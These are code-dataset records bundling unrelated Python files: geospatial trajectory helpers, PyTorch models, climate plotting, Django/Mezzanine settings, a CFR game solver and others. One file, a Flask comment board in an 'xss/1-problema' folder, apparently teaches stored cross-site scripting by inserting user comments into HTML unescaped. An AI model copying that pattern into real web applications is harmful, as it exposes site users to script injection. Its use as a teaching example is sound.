traj_points[traj_points[ID]==i][[Lng,Lat]].values\n traj_id.append(i)\n if len(coords)>=2:\n geometry.append(LineString(coords))\n else:\n geometry.append(None)\n traj[ID] = traj_id\n traj['geometry'] = geometry\n traj = gpd.GeoDataFrame(traj)\n return traj\n\n\ndef points_to_traj(traj_points,col = ['Lng','Lat','ID'],timecol = None):\n '''\n 输入轨迹点,生成轨迹线型的GeoDataFrame\n\n 输入\n -------\n traj_points : DataFrame\n 轨迹点数据\n col : List\n 列名,按[经度,纬度,轨迹编号]的顺序\n timecol : str\n 可选,时间列的列名,如果给了则输出带有[经度,纬度,高度,时间]的geojson,可放入kepler中可视化轨迹\n\n 输出\n -------\n traj : GeoDataFrame或json\n 生成的轨迹数据,如果timecol没定义则为GeoDataFrame,否则为json\n '''\n [Lng,Lat,ID] = col \n if timecol:\n geometry = []\n traj_id = []\n for i in traj_points[ID].drop_duplicates():\n coords = traj_points[traj_points[ID]==i][[Lng,Lat,timecol]]\n coords[timecol] = coords[timecol].apply(lambda r:int(r.value/1000000000))\n coords['altitude'] = 0\n coords = coords[[Lng,Lat,'altitude',timecol]].values.tolist()\n traj_id.append(i)\n if len(coords)>=2:\n geometry.append({\n \"type\": \"Feature\",\n \"properties\":{ \"ID\": i},\n \"geometry\": {\"type\": \"LineString\",\n \"coordinates\":coords}})\n traj = {\"type\": \"FeatureCollection\",\n \"features\": geometry}\n else:\n traj = gpd.GeoDataFrame()\n from shapely.geometry import LineString\n geometry = []\n traj_id = []\n for i in traj_points[ID].drop_duplicates():\n coords = traj_points[traj_points[ID]==i][[Lng,Lat]].values\n traj_id.append(i)\n if len(coords)>=2:\n geometry.append(LineString(coords))\n else:\n geometry.append(None)\n traj[ID] = traj_id\n traj['geometry'] = geometry\n traj = gpd.GeoDataFrame(traj)\n return traj\n\ndef dumpjson(data,path):\n '''\n 输入json数据,存储为文件。这个方法主要是解决numpy数值型无法兼容json包报错的问题\n\n 输入\n -------\n data : json\n 要储存的json数据\n path : str\n 保存的路径\n\n '''\n import json\n class NpEncoder(json.JSONEncoder):\n def default(self, obj):\n if isinstance(obj, np.integer):\n return int(obj)\n elif isinstance(obj, np.floating):\n return float(obj)\n elif isinstance(obj, np.ndarray):\n return obj.tolist()\n else:\n return super(NpEncoder, self).default(obj)\n f = open(path,mode = 'w')\n json.dump(data,f,cls=NpEncoder) \n f.close()\n\n","sub_path":"src/transbigdata/traj.py","file_name":"traj.py","file_ext":"py","file_size_in_byte":5852,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"293768984","text":"def make_album(artista, titulo, faixas=''):\n \"\"\" Devolve um dicionário com o nome do artista, nome do album e o n° de faixas (opcional). \"\"\"\n album = {\n 'artista': artista,\n 'titulo': titulo,\n }\n if faixas:\n album['faixas'] = faixas\n return album\n\nwhile True:\n print(\"\\nForneça os dados da sua banda favorita.\")\n print(\"Digite 'sair' a qualquer momento se desejar parar.\")\n artista = input(\"Digite o nome da banda: \")\n if artista == 'sair':\n break\n album = input(\"Digite o nome do álbum: \")\n if album == 'sair':\n break\n faixas = input(\"N° de faixas do álbum (opcional): \")\n if faixas == 'sair':\n break\n if faixas:\n artista_album = make_album(artista, album, faixas)\n print(artista_album)\n else:\n artista_album = make_album(artista, album)\n print(artista_album)","sub_path":"cap_08/album_usuarios.py","file_name":"album_usuarios.py","file_ext":"py","file_size_in_byte":885,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"649959758","text":"from flask import Flask, request\r\napp = Flask(__name__)\r\n\r\nlista_comentarios = []\r\n\r\nmodelo_html = \"\"\"\r\n\r\n\r\n \r\n \r\n Comentários\r\n \r\n \r\n \r\n

Comentários:

\r\n XXXX\r\n

Deixe seu comentário:

\r\n
\r\n

\r\n

\r\n
\r\n \r\n\"\"\"\r\n\r\ndef mostrar_comentarios():\r\n html = modelo_html\r\n if len(lista_comentarios) == 0:\r\n html = html.replace(\"XXXX\", \"

Não há nenhum comentário ainda... Escreva o primeiro!

\")\r\n else:\r\n parte = \"\"\r\n for comentario in lista_comentarios:\r\n parte += \"

\" + comentario + \"

\"\r\n html = html.replace(\"XXXX\", parte)\r\n return html\r\n\r\n@app.route(\"/\")\r\n@app.route(\"/comentarios\")\r\ndef ler_comentarios():\r\n return mostrar_comentarios()\r\n\r\n@app.route(\"/comentarios\", methods = [\"POST\"])\r\ndef postar_comentario():\r\n comentario = request.form['texto']\r\n lista_comentarios.append(comentario)\r\n return mostrar_comentarios()\r\n\r\nif __name__ == \"__main__\":\r\n app.run()","sub_path":"xss/1-problema/comentarios.py","file_name":"comentarios.py","file_ext":"py","file_size_in_byte":1375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"578181103","text":"import time\nimport logging\nimport logging.handlers\n\n\ndef log_setup():\n log_handler = logging.handlers.WatchedFileHandler(\"LOG_APP.log\")\n formatter = logging.Formatter(\n \"%(asctime)s program_name [%(process)d]: %(message)s\", \"%b %d %H:%M:%S\"\n )\n formatter.converter = time.gmtime # if you want UTC time\n log_handler.setFormatter(formatter)\n logger = logging.getLogger()\n logger.addHandler(log_handler)\n logger.setLevel(logging.DEBUG)\n\n\nlog_setup()\nlogging.info(\"Hello, World!\")\nimport os\n\nos.rename(\"LOG_APP.log\", \"LOG_APP.log-old\")\nlogging.info(\"Hello, New World!\")\n","sub_path":"LOG_APP_rotate.py","file_name":"LOG_APP_rotate.py","file_ext":"py","file_size_in_byte":598,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"6487987","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# Python version: 3.6\n\nfrom torch import nn\nimport torch.nn.functional as F\n\n\n# class MLP(nn.Module):\n\n# def __init__(self, device=None):\n# super(MLP, self).__init__()\n# self.fc1 = nn.Linear(784, 128)\n# self.fc2 = nn.Linear(128, 64)\n# self.fc3 = nn.Linear(64, 10)\n# self.relu = nn.ReLU()\n# self.softmax = nn.Softmax(dim=1)\n\n# def forward(self, x):\n# x = x.view(-1, x.shape[1]*x.shape[-2]*x.shape[-1])\n# x = self.relu(self.fc1(x))\n# x = self.relu(self.fc2(x))\n# x = self.fc3(x)\n# return self.softmax(x)\n\nclass MLP(nn.Module):\n def __init__(self, dim_in, dim_hidden, dim_out):\n super(MLP, self).__init__()\n self.layer_input = nn.Linear(dim_in, dim_hidden)\n self.relu = nn.ReLU()\n # self.dropout = nn.Dropout()\n self.layer_hidden = nn.Linear(dim_hidden, dim_out)\n self.softmax = nn.Softmax(dim=1)\n\n def forward(self, x):\n x = x.view(-1, x.shape[1]*x.shape[-2]*x.shape[-1])\n x = self.layer_input(x)\n # x = self.dropout(x)\n x = self.relu(x)\n x = self.layer_hidden(x)\n return self.softmax(x)\n\nclass BasicBlock(nn.Module):\n expansion = 1\n def __init__(self, in_planes, planes, stride=1):\n super(BasicBlock, self).__init__()\n self.conv1 = nn.Conv2d(in_planes, planes, kernel_size=3, stride=stride, padding=1, bias=False)\n self.bn1 = nn.BatchNorm2d(planes)\n self.conv2 = nn.Conv2d(planes, planes, kernel_size=3,stride=1, padding=1, bias=False)\n self.bn2 = nn.BatchNorm2d(planes)\n self.shortcut = nn.Sequential()\n if stride != 1 or in_planes != self.expansion*planes:\n self.shortcut = nn.Sequential(\n nn.Conv2d(in_planes, self.expansion*planes,kernel_size=1, stride=stride, bias=False),\n nn.BatchNorm2d(self.expansion*planes)\n )\n def forward(self, x):\n out = F.relu(self.bn1(self.conv1(x)))\n out = self.bn2(self.conv2(out))\n out += self.shortcut(x)\n out = F.relu(out)\n return out\n\nclass ResNet18(nn.Module):\n def __init__(self, block=BasicBlock, num_blocks=[2, 2, 2, 2], args=None, device=None):\n super(ResNet18, self).__init__()\n self.in_planes = 64\n self.conv1 = nn.Conv2d(3, 64, kernel_size=3,\n stride=1, padding=1, bias=False)\n self.bn1 = nn.BatchNorm2d(64)\n self.layer1 = self._make_layer(block, 64, num_blocks[0], stride=1)\n self.layer2 = self._make_layer(block, 128, num_blocks[1], stride=2)\n self.layer3 = self._make_layer(block, 256, num_blocks[2], stride=2)\n self.layer4 = self._make_layer(block, 512, num_blocks[3], stride=2)\n self.linear = nn.Linear(512*block.expansion, args.num_classes)\n def _make_layer(self, block, planes, num_blocks, stride):\n strides = [stride] + [1]*(num_blocks-1)\n layers = []\n for stride in strides:\n layers.append(block(self.in_planes, planes, stride))\n self.in_planes = planes * block.expansion\n return nn.Sequential(*layers)\n def forward(self, x):\n out = F.relu(self.bn1(self.conv1(x)))\n out = self.layer1(out)\n out = self.layer2(out)\n out = self.layer3(out)\n out = self.layer4(out)\n out = F.avg_pool2d(out, 4)\n out = out.view(out.size(0), -1)\n out = self.linear(out)\n # return out\n return F.log_softmax(out, dim=1)\n\nclass CNNMnist(nn.Module):\n def __init__(self, args):\n super(CNNMnist, self).__init__()\n self.conv1 = nn.Conv2d(args.num_channels, 10, kernel_size=5)\n self.conv2 = nn.Conv2d(10, 20, kernel_size=5)\n self.conv2_drop = nn.Dropout2d()\n self.fc1 = nn.Linear(320, 50)\n self.fc2 = nn.Linear(50, args.num_classes)\n\n def forward(self, x):\n x = F.relu(F.max_pool2d(self.conv1(x), 2))\n x = F.relu(F.max_pool2d(self.conv2_drop(self.conv2(x)), 2))\n x = x.view(-1, x.shape[1]*x.shape[2]*x.shape[3])\n x = F.relu(self.fc1(x))\n x = F.dropout(x, training=self.training)\n x = self.fc2(x)\n return F.log_softmax(x, dim=1)\n\n\nclass CNNFashion_Mnist(nn.Module):\n def __init__(self, args):\n super(CNNFashion_Mnist, self).__init__()\n self.layer1 = nn.Sequential(\n nn.Conv2d(1, 16, kernel_size=5, padding=2),\n nn.BatchNorm2d(16),\n nn.ReLU(),\n nn.MaxPool2d(2))\n self.layer2 = nn.Sequential(\n nn.Conv2d(16, 32, kernel_size=5, padding=2),\n nn.BatchNorm2d(32),\n nn.ReLU(),\n nn.MaxPool2d(2))\n self.fc = nn.Linear(7*7*32, 10)\n\n def forward(self, x):\n out = self.layer1(x)\n out = self.layer2(out)\n out = out.view(out.size(0), -1)\n out = self.fc(out)\n return out\n\n\nclass CNNCifar(nn.Module):\n def __init__(self, args):\n super(CNNCifar, self).__init__()\n self.conv1 = nn.Conv2d(3, 6, 5)\n self.pool = nn.MaxPool2d(2, 2)\n self.conv2 = nn.Conv2d(6, 16, 5)\n self.fc1 = nn.Linear(16 * 5 * 5, 120)\n self.fc2 = nn.Linear(120, 84)\n self.fc3 = nn.Linear(84, args.num_classes)\n\n def forward(self, x):\n x = self.pool(F.relu(self.conv1(x)))\n x = self.pool(F.relu(self.conv2(x)))\n x = x.view(-1, 16 * 5 * 5)\n x = F.relu(self.fc1(x))\n x = F.relu(self.fc2(x))\n x = self.fc3(x)\n return F.log_softmax(x, dim=1)\n\nclass modelC(nn.Module):\n def __init__(self, input_size, n_classes=10, **kwargs):\n super(AllConvNet, self).__init__()\n self.conv1 = nn.Conv2d(input_size, 96, 3, padding=1)\n self.conv2 = nn.Conv2d(96, 96, 3, padding=1)\n self.conv3 = nn.Conv2d(96, 96, 3, padding=1, stride=2)\n self.conv4 = nn.Conv2d(96, 192, 3, padding=1)\n self.conv5 = nn.Conv2d(192, 192, 3, padding=1)\n self.conv6 = nn.Conv2d(192, 192, 3, padding=1, stride=2)\n self.conv7 = nn.Conv2d(192, 192, 3, padding=1)\n self.conv8 = nn.Conv2d(192, 192, 1)\n\n self.class_conv = nn.Conv2d(192, n_classes, 1)\n\n\n def forward(self, x):\n x_drop = F.dropout(x, .2)\n conv1_out = F.relu(self.conv1(x_drop))\n conv2_out = F.relu(self.conv2(conv1_out))\n conv3_out = F.relu(self.conv3(conv2_out))\n conv3_out_drop = F.dropout(conv3_out, .5)\n conv4_out = F.relu(self.conv4(conv3_out_drop))\n conv5_out = F.relu(self.conv5(conv4_out))\n conv6_out = F.relu(self.conv6(conv5_out))\n conv6_out_drop = F.dropout(conv6_out, .5)\n conv7_out = F.relu(self.conv7(conv6_out_drop))\n conv8_out = F.relu(self.conv8(conv7_out))\n\n class_out = F.relu(self.class_conv(conv8_out))\n pool_out = F.adaptive_avg_pool2d(class_out, 1)\n pool_out.squeeze_(-1)\n pool_out.squeeze_(-1)\n return pool_out\n","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":6963,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"278614348","text":"import matplotlib\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport xarray as xr\n\nfileD_pres='DATA/ERAi_ANx/MARv3.9.3_Amundsen_LWD_1979-2017_monthly.nc'\nfileU_pres='DATA/ERAi_ANx/MARv3.9.3_Amundsen_LWU_1979-2017_monthly.nc'\nfileD_futu='DATA/ERAi_CMIP5anom_ANf/MARv3.9.3_Amundsen_LWD_2088-2117_monthly.nc'\nfileU_futu='DATA/ERAi_CMIP5anom_ANf/MARv3.9.3_Amundsen_LWU_2088-2117_monthly.nc'\n\nfile_msk='MAR_grid10km.nc'\nncM=xr.open_dataset(file_msk,decode_cf=False)\nmsk=ncM['MSK'].values[:,:]\nmsk[msk<100]=np.nan\nmsk=msk*0.e0+1.e0 # nan over ocean, 1 over ice-sheet (includes ice shelves and grounded ice, but exclude nunatak)\n\n# drainage basins:\nmsk_ABB=np.load('ANT_MASK_ABBOT.npy'); msk_ABB[ np.isnan(msk_ABB) ]=0\nmsk_COS=np.load('ANT_MASK_COSGR.npy'); msk_COS[ np.isnan(msk_COS) ]=0\nmsk_PIG=np.load('ANT_MASK_PINE.npy'); msk_PIG[ np.isnan(msk_PIG) ]=0\nmsk_THW=np.load('ANT_MASK_THWAIT.npy'); msk_THW[ np.isnan(msk_THW) ]=0\nmsk_CRO=np.load('ANT_MASK_CROSSON.npy'); msk_CRO[ np.isnan(msk_CRO) ]=0\nmsk_DOT=np.load('ANT_MASK_DOTSON.npy'); msk_DOT[ np.isnan(msk_DOT) ]=0\nmsk_GET=np.load('ANT_MASK_GETZ.npy'); msk_GET[ np.isnan(msk_GET) ]=0\nmsk_basin=msk_ABB+msk_COS+msk_PIG+msk_THW+msk_CRO+msk_DOT+msk_GET\n\n# ice shelves:\nmsk_isf_ABB=np.load('msk_isf_ABB.npy'); msk_isf_ABB[ np.isnan(msk_isf_ABB) ]=0\nmsk_isf_COS=np.load('msk_isf_COS.npy'); msk_isf_COS[ np.isnan(msk_isf_COS) ]=0\nmsk_isf_PIG=np.load('msk_isf_PIG.npy'); msk_isf_PIG[ np.isnan(msk_isf_PIG) ]=0\nmsk_isf_THW=np.load('msk_isf_THW.npy'); msk_isf_THW[ np.isnan(msk_isf_THW) ]=0\nmsk_isf_CRO=np.load('msk_isf_CRO.npy'); msk_isf_CRO[ np.isnan(msk_isf_CRO) ]=0\nmsk_isf_DOT=np.load('msk_isf_DOT.npy'); msk_isf_DOT[ np.isnan(msk_isf_DOT) ]=0\nmsk_isf_GET=np.load('msk_isf_GET.npy'); msk_isf_GET[ np.isnan(msk_isf_GET) ]=0\nmsk_isf=msk_isf_ABB+msk_isf_COS+msk_isf_PIG+msk_isf_THW+msk_isf_CRO+msk_isf_DOT+msk_isf_GET\n\nmsk=msk*msk_basin*msk_isf\n\n#====================\nncAD=xr.open_dataset(fileD_pres,decode_cf=False)\nncAU=xr.open_dataset(fileU_pres,decode_cf=False)\nlw=ncAD['LWD'].values[108:468,:,:]-ncAU['LWU'].values[108:468,:,:] # only 1988-2017 to get the same interannual variability as future projection\nlwmon=np.zeros((np.shape(lw)[0]))\nfor kmon in np.arange(np.shape(lw)[0]):\n lwmon[kmon]=np.nansum(np.nansum(lw[kmon,:,:]*msk,axis=1),axis=0)/np.nansum(np.nansum(msk,axis=1),axis=0)\nclimlwA=np.zeros((14))\ntmp=np.zeros((12))\nfor kmon in np.arange(12):\n tmp[kmon] = np.mean(lwmon[kmon::12])\ntmp=np.roll(tmp,-4) # to start in May instead of January\nclimlwA[0]=tmp[11]\nclimlwA[1:13]=tmp\nclimlwA[13]=tmp[0]\n\n#====================\nncBD=xr.open_dataset(fileD_futu,decode_cf=False)\nncBU=xr.open_dataset(fileU_futu,decode_cf=False)\nlw=ncBD['LWD'].values[108:468,:,:]-ncBU['LWU'].values[108:468,:,:] # only 1988-2017 to get the same interannual variability as future projection\nlwmon=np.zeros((np.shape(lw)[0]))\nfor kmon in np.arange(np.shape(lw)[0]):\n lwmon[kmon]=np.nansum(np.nansum(lw[kmon,:,:]*msk,axis=1),axis=0)/np.nansum(np.nansum(msk,axis=1),axis=0)\nclimlwB=np.zeros((14))\ntmp=np.zeros((12))\nfor kmon in np.arange(12):\n tmp[kmon] = np.mean(lwmon[kmon::12])\ntmp=np.roll(tmp,-4) # to start in May instead of January\nclimlwB[0]=tmp[11]\nclimlwB[1:13]=tmp\nclimlwB[13]=tmp[0]\n\n#====================\nfig, ax = plt.subplots()\n\nax.plot(np.arange(14),climlwA,label='present (ERAinterim)',linewidth=1.0,color='cornflowerblue')\nax.plot(np.arange(14),climlwB,label='future (ERAinterim + CMIP5 anom)',linewidth=1.0,color='firebrick')\nax.set_xticks(np.arange(1,13,1))\nax.set_xticklabels(['M','J','J','A','S','O','N','D','J','F','M','A'])\nplt.xlim(0.5,12.5)\nax.legend(fontsize=8)\nax.set_ylabel('Net longwave (W.m-2)',size=12)\nax.tick_params(axis='both', which='major', labelsize=10)\n#ax.text(1,75,'(a)',fontsize=18)\n\nfig.savefig('LWnet_seasonal_cycle_ice_shelves_ERAi_CMIP5.pdf')\n","sub_path":"Donat_Magnin_2021/scripts/plot_LWnet_seasonal_cycle_ice_shelves_ERAi_CMIP5_MMM.py","file_name":"plot_LWnet_seasonal_cycle_ice_shelves_ERAi_CMIP5_MMM.py","file_ext":"py","file_size_in_byte":3827,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"590588549","text":"# -*- coding: utf-8 -*-\nfrom django.db import migrations\n\n\ndef initialize_typy_gmin(apps, _):\n TypGminy = apps.get_model(\"wybory\", \"TypGminy\")\n typy_gmin = [\n \"Statki\",\n \"Miasto\",\n \"Wieś\",\n \"Zagranica\",\n ]\n for typ in typy_gmin:\n t = TypGminy()\n t.nazwa = typ\n t.save()\n\n\nclass Migration(migrations.Migration):\n dependencies = [\n ('wybory', 'województwa'),\n ]\n\n operations = [\n migrations.RunPython(initialize_typy_gmin)\n ]\n","sub_path":"wybory/migrations/typy_gmin.py","file_name":"typy_gmin.py","file_ext":"py","file_size_in_byte":513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"630785782","text":"import argparse\nimport sys\nimport os\nimport numpy as np\nimport bmp_io_c\nsys.path.append(os.path.dirname(os.path.abspath(__file__)))\n\ndef create_black_image(height,width):\n return np.zeros((3,height,width))\n\ndef apply_color(image,R,G,B,lat1,long1,lat2,long2):\n N = image.shape[1]\n long1 = int(N / 180 * long1 + N)\n long2 = int(N / 180 * long2 + N)\n print (long1,long2)\n image[0,:,long1:long2] = R\n image[1,:,long1:long2] = G\n image[2,:,long1:long2] = B\n return image\n\n\ndef main(argv):\n black_image = create_black_image(1024,2048)\n yellow_image = apply_color(black_image,255,255,0,0,-180,0,-135)\n # bmp_io_c.output_bmp_c('beachball_1.bmp',yellow_image)\n yellow_image = apply_color(yellow_image,255,255,0,0,135,0,180)\n # bmp_io_c.output_bmp_c('beachball_2.bmp',yellow_image)\n\n red_image = apply_color(yellow_image,255,0,0,0,-135,0,-45)\n # bmp_io_c.output_bmp_c('beachball_3.bmp',red_image)\n green_image = apply_color(red_image,0,255,0,0,-45,0,45)\n # bmp_io_c.output_bmp_c('beachball_4.bmp',green_image)\n blue_image = apply_color(green_image,0,0,255,0,45,0,135)\n\n bmp_io_c.output_bmp_c('beachball_5.bmp',blue_image)\n\nif __name__ == '__main__':\n main(sys.argv)\n","sub_path":"Lab4/beach_ball.py","file_name":"beach_ball.py","file_ext":"py","file_size_in_byte":1219,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"240360640","text":"# coding=utf-8\n\"\"\"\ncore.settings.contrib\n\"\"\"\nfrom .base import * # noqa\nfrom .secret import (\n COMMENTS_DISQUS_API_PUBLIC_KEY,\n COMMENTS_DISQUS_API_SECRET_KEY,\n COMMENTS_DISQUS_SHORTNAME)\n\n# Store these package names here as they may change in the future since\n# at the moment we are using custom forks of them.\nPACKAGE_NAME_FILEBROWSER = \"filebrowser_safe\"\nPACKAGE_NAME_GRAPPELLI = \"grappelli_safe\"\nGRAPPELLI_INSTALLED = True\n\n# Extra installed apps - grapelli needs to be added before others\nINSTALLED_APPS += (\n 'raven.contrib.django.raven_compat', # enable Raven plugin\n PACKAGE_NAME_GRAPPELLI,\n \"config\",\n \"flat_theme\",\n \"mezzanine\",\n \"django_comments\",\n \"compressor\",\n PACKAGE_NAME_FILEBROWSER,\n \"mezzanine.boot\",\n \"mezzanine.conf\",\n \"mezzanine.core\",\n \"mezzanine.generic\",\n \"mezzanine.blog\",\n \"mezzanine.forms\",\n \"mezzanine.pages\",\n \"mezzanine.galleries\",\n \"mezzanine_references\",\n \"mezzanine_slides\",\n \"mdown\", # markdown support in admin\n \"mezzanine_agenda\", # we use a local copy as pip misses migrations\n)\n\n# mezzanine-mdown options\n# RICHTEXT_WIDGET_CLASS = \"mdown.forms.WmdWidget\"\n# RICHTEXT_FILTER = \"mdown.filters.codehilite\"\n\nMIGRATION_MODULES = {'accounts': 'core.migration'}\n\nGRAPPELLI_ADMIN_TITLE = 'Site administration panel'\n\nEVENT_USE_FEATURED_IMAGE = True\n# This one must occur before django provided middleware\nMIDDLEWARE_CLASSES = (\n \"mezzanine.core.middleware.UpdateCacheMiddleware\",\n ) + MIDDLEWARE_CLASSES\n# And these after django provided middleware\nMIDDLEWARE_CLASSES += (\n \"mezzanine.core.request.CurrentRequestMiddleware\",\n \"mezzanine.core.middleware.RedirectFallbackMiddleware\",\n \"mezzanine.core.middleware.TemplateForDeviceMiddleware\",\n \"mezzanine.core.middleware.TemplateForHostMiddleware\",\n \"mezzanine.core.middleware.AdminLoginInterfaceSelectorMiddleware\",\n \"mezzanine.core.middleware.SitePermissionMiddleware\",\n # Uncomment the following if using any of the SSL settings:\n # \"mezzanine.core.middleware.SSLRedirectMiddleware\",\n \"mezzanine.pages.middleware.PageMiddleware\",\n \"mezzanine.core.middleware.FetchFromCacheMiddleware\",\n)\n\nAUTHENTICATION_BACKENDS = (\"mezzanine.core.auth_backends.MezzanineBackend\",)\n\nACCOUNT_UNIQUE_EMAIL = True\nACCOUNT_USERNAME_REQUIRED = True\nACCOUNT_EMAIL_REQUIRED = True\nACCOUNT_SIGNUP_FORM_CLASS = 'base.forms.SignupForm'\nACCOUNT_AUTHENTICATION_METHOD = 'username_email'\n\n######################\n# Mezzanine agenda settings : https://github.com/jpells/mezzanine-agenda\n######################\n\nEVENT_SLUG = u\"events\"\n\n######################\n# MEZZANINE SETTINGS #\n######################\n\nCOMMENT_FORM_CLASS = 'mezzanine.generic.forms.ThreadedCommentForm'\n\n# Whether a user's session cookie expires when the Web browser is closed.\nSESSION_EXPIRE_AT_BROWSER_CLOSE = True\n\n# List of processors used by RequestContext to populate the context.\n# Each one should be a callable that takes the request object as its\n# only parameter and returns a dictionary to add to the context.\n# Implemented in base.py as a dirty hack for now\n# TEMPLATE_CONTEXT_PROCESSORS = (\n# )\n\n# The following settings are already defined with default values in\n# the ``defaults.py`` module within each of Mezzanine's apps, but are\n# common enough to be put here, commented out, for convenient\n# overriding. Please consult the settings documentation for a full list\n# of settings Mezzanine implements:\n# http://mezzanine.jupo.org/docs/configuration.html#default-settings\n\n# Controls the ordering and grouping of the admin menu.\n#\nADMIN_MENU_ORDER = (\n (\"Content\", (\"pages.Page\", \"blog.BlogPost\",\n \"generic.ThreadedComment\", (\"Media Library\", \"fb_browse\"),)),\n (\"Site\", (\"sites.Site\", \"redirects.Redirect\", \"conf.Setting\")),\n (\"Users\", (\"auth.User\", \"auth.Group\",)),\n)\n\n# A three item sequence, each containing a sequence of template tags\n# used to render the admin dashboard.\n#\nDASHBOARD_TAGS = (\n (\"blog_tags.quick_blog\", \"mezzanine_tags.app_list\"),\n (\"comment_tags.recent_comments\",),\n (\"mezzanine_tags.recent_actions\",),\n)\n\n# A sequence of templates used by the ``page_menu`` template tag. Each\n# item in the sequence is a three item sequence, containing a unique ID\n# for the template, a label for the template, and the template path.\n# These templates are then available for selection when editing which\n# menus a page should appear in. Note that if a menu template is used\n# that doesn't appear in this setting, all pages will appear in it.\n\nPAGE_MENU_TEMPLATES = (\n (1, \"Top navigation bar\", \"pages/menus/dropdown.html\"),\n (2, \"Left-hand tree\", \"pages/menus/tree.html\"),\n (3, \"Footer\", \"pages/menus/footer.html\"),\n)\n\n# A sequence of fields that will be injected into Mezzanine's (or any\n# library's) models. Each item in the sequence is a four item sequence.\n# The first two items are the dotted path to the model and its field\n# name to be added, and the dotted path to the field class to use for\n# the field. The third and fourth items are a sequence of positional\n# args and a dictionary of keyword args, to use when creating the\n# field instance. When specifying the field class, the path\n# ``django.models.db.`` can be omitted for regular Django model fields.\n#\n# EXTRA_MODEL_FIELDS = (\n# (\n# # Dotted path to field.\n# \"mezzanine.blog.models.BlogPost.image\",\n# # Dotted path to field class.\n# \"somelib.fields.ImageField\",\n# # Positional args for field class.\n# (\"Image\",),\n# # Keyword args for field class.\n# {\"blank\": True, \"upload_to\": \"blog\"},\n# ),\n# # Example of adding a field to *all* of Mezzanine's content types:\n# (\n# \"mezzanine.pages.models.Page.another_field\",\n# \"IntegerField\", # 'django.db.models.' is implied if path is omitted.\n# (\"Another name\",),\n# {\"blank\": True, \"default\": 1},\n# ),\n# )\n\n# Setting to turn on featured images for blog posts. Defaults to False.\n#\n# BLOG_USE_FEATURED_IMAGE = True\n\n# Front-end inline editing\n# Set false for now, because this causing layout error\nINLINE_EDITING_ENABLED = False\n\n####################\n# MEZZANINE DYNAMIC SETTINGS #\n####################\n\n# set_dynamic_settings() will rewrite globals based on what has been\n# defined so far, in order to provide some better defaults where\n# applicable. We also allow this settings module to be imported\n# without Mezzanine installed, as the case may be when using the\n# fabfile, where setting the dynamic settings below isn't strictly\n# required.\n# try:\n## from mezzanine.utils.conf import set_dynamic_settings\n# except ImportError:\n# pass\n# else:\n# set_dynamic_settings(globals())\n\n####################\n# SEARCH BOX SETTINGS #\n####################\n\nSEARCH_MODEL_CHOICES = (\n 'pages.Page',\n 'blog.BlogPost',\n)\n\n####################\n# FILEBROWSER ALLOWED EXTENSIONS #\n####################\nFILEBROWSER_EXTENSIONS = {\n 'Folder': [''],\n 'Image': ['.jpg', '.jpeg', '.gif', '.png', '.tif', '.tiff'],\n 'Video': ['.mov', '.wmv', '.mpeg', '.mpg', '.avi', '.rm'],\n 'Document': ['.pdf', '.doc', '.rtf', '.txt', '.xls', '.csv', 'zip', 'tar.gz', 'rar'],\n 'Audio': ['.mp3', '.mp4', '.wav', '.aiff', '.midi', '.m4p', '.ogg'],\n 'Code': ['.html', '.py', '.js', '.css']\n}\n# We don't want to have dead connections stored on rabbitmq\n# BROKER_HEARTBEAT = '?heartbeat=30'\n# BROKER_URL += BROKER_HEARTBEAT\n\nBROKER_URL = 'amqp://guest:guest@%s:5672//' % 'rabbitmq'\n\nCELERY_ACCEPT_CONTENT = ['json']\nCELERY_TASK_SERIALIZER = 'json'\nCELERY_RESULT_SERIALIZER = 'json'\n","sub_path":"django_project/core/settings/contrib.py","file_name":"contrib.py","file_ext":"py","file_size_in_byte":7643,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"531970686","text":"import cfr\nimport kuhn\nimport jps\nimport simple_bidding\nfrom collections import defaultdict\nimport pprint\nimport pickle\nimport pandas as pd\n\n# root = kuhn.ChanceNode()\n\nshared_dict = defaultdict(simple_bidding.InfoSet)\nroot = simple_bidding.ChanceNode(n=4, shared_dict=shared_dict)\nprint(len(shared_dict))\nprint(sum([len(a.h_lst) for a in shared_dict.values()]))\n\n# with open('cfr1k.pkl', 'rb') as f:\n# base_sigma = pickle.load(f) \n\nbase_sigma = cfr.cfr(root, 1000, chance=True, seed=0)\n\n# base_sigma = defaultdict(lambda: 0)\n# print(base_sigma)\n\ndef evaluate_policy(sigma):\n # Makes a pure policy, and evaluates it.\n rew = 0\n table = defaultdict(lambda: defaultdict(int))\n def traverse(node, s, i, j):\n nonlocal rew\n if node.terminal:\n table[i][j] = s + \"({})\".format(str(node.terminal_utility))\n rew += node.terminal_utility\n return\n I = node.infoset_repr\n if I == \"root\":\n for i, j in node.actions:\n traverse(node.step((i,j)),s,i,j)\n return\n card, a_h = I.split(\":\")\n a_h = eval(a_h)\n best_a, highest_prob = None, 0\n for a in node.actions:\n if sigma[(I, a)] > highest_prob:\n best_a = a\n highest_prob = sigma[(I,a)]\n traverse(node.step(best_a), s + str(best_a), i, j)\n traverse(root, \"\", -1, -1)\n return rew / (root.n * root.n), table \nrew_base, table_base = evaluate_policy(base_sigma)\nprint(\"Base reward\")\nprint(pd.DataFrame(dict(table_base)).transpose())\nprint(rew_base)\n\n\nsigma = jps.jps_main(root, shared_dict, base_sigma,1000)\nrew, table = evaluate_policy(sigma)\nprint(\"after jps\")\n# print(pd.DataFrame(dict(table)).transpose())\nprint(rew)\n# pprint.pp(sigma)\n\n# pprint.pp(base_sigma)\n# pprint.pp(sigma)\n\n# kap = cfr.cfr(root, 1000, chance=True, seed=0)\n# 